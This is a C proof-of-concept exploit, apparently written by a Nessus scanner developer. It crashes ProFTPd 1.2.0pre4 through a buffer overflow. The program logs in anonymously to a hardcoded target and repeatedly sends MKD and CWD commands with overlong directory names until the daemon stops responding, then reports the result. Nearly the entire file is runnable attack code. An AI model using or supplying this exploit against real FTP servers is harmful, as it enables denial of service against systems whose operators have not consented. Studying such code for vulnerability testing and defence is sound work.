#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
/*
 * Crashes ProFTPd 1.2.0pre4 because of a buffer overflow.
 *
 *
 * This bug was discovered by the Nessus Security Scanner
 *
 * I don't know if this flaw can be exploited to gain
 * root privileges.
 *
 *
 * The name of the created directory must not exceed 255 chars !
 *
 *
 * Written by Renaud Deraison <deraison@cvs.nessus.org>
 *
 */

/*
 * Change this !
 */
#define TARGET "192.168.1.5"
#define WRITEABLE_DIR "/incoming"

int main()
{
 struct in_addr target;
 int soc;
 struct sockaddr_in sa;
 
 char * writeable_dir = "CWD "WRITEABLE_DIR"\r\n";
 char * mkd;
 char * cwd;


 inet_aton(TARGET, &target);
 mkd = malloc(300);	bzero(mkd, 300);
 cwd = malloc(300);	bzero(cwd, 300);
 
 soc = socket(PF_INET, SOCK_STREAM,0);
 
 bzero(&sa, sizeof(sa));
 sa.sin_family = AF_INET;
 sa.sin_port   = htons(21);
 sa.sin_addr.s_addr = target.s_addr;
 if(!(connect(soc, (struct sockaddr *)&sa, sizeof(struct sockaddr_in))))
 {
  char * buf = malloc(1024);
  int i;
  sprintf(mkd, "MKD ");
  memset(mkd+4, 'X', 254);
  sprintf(mkd, "%s\r\n", mkd);
  
  sprintf(cwd, "CWD ");
  memset(cwd+4, 'X', 254);
  sprintf(cwd, "%s\r\n", cwd);
  
  recv(soc, buf, 1024, 0);
  send(soc, "USER ftp\r\n", strlen("USER ftp\r\n"),0);
  recv(soc, buf, 1024, 0);
  bzero(buf,1024);
  send(soc, "PASS joe@\r\n", strlen("PASS joe@\r\n"),0);
  recv(soc, buf, 1024, 0);
  bzero(buf, 1024);
  send(soc, writeable_dir, strlen(writeable_dir), 0);
  recv(soc, buf, 1024, 0);
  bzero(buf,1024);
  
  
  for(i=0;i<40;i++)
  {
   send(soc, mkd, strlen(mkd), 0);
   recv(soc, buf, 1024,0);
   if(!strlen(buf))
   {
    printf("Remote FTPd crashed (see /var/log/messages)\n");
    exit(0);
   }
   bzero(buf, 1024);
   send(soc, cwd, strlen(cwd), 0);
   recv(soc, buf, 1024,0);
   if(!strlen(buf))
   {
    printf("Remote FTPd crashed (see /var/log/messages)\n");
    exit(0);
   }
   bzero(buf, 1024);
  }
  printf("You were not vulnerable after all. Sorry\n");
  close(soc);
 }
 else perror("connect ");
 return(0);
}
   
  
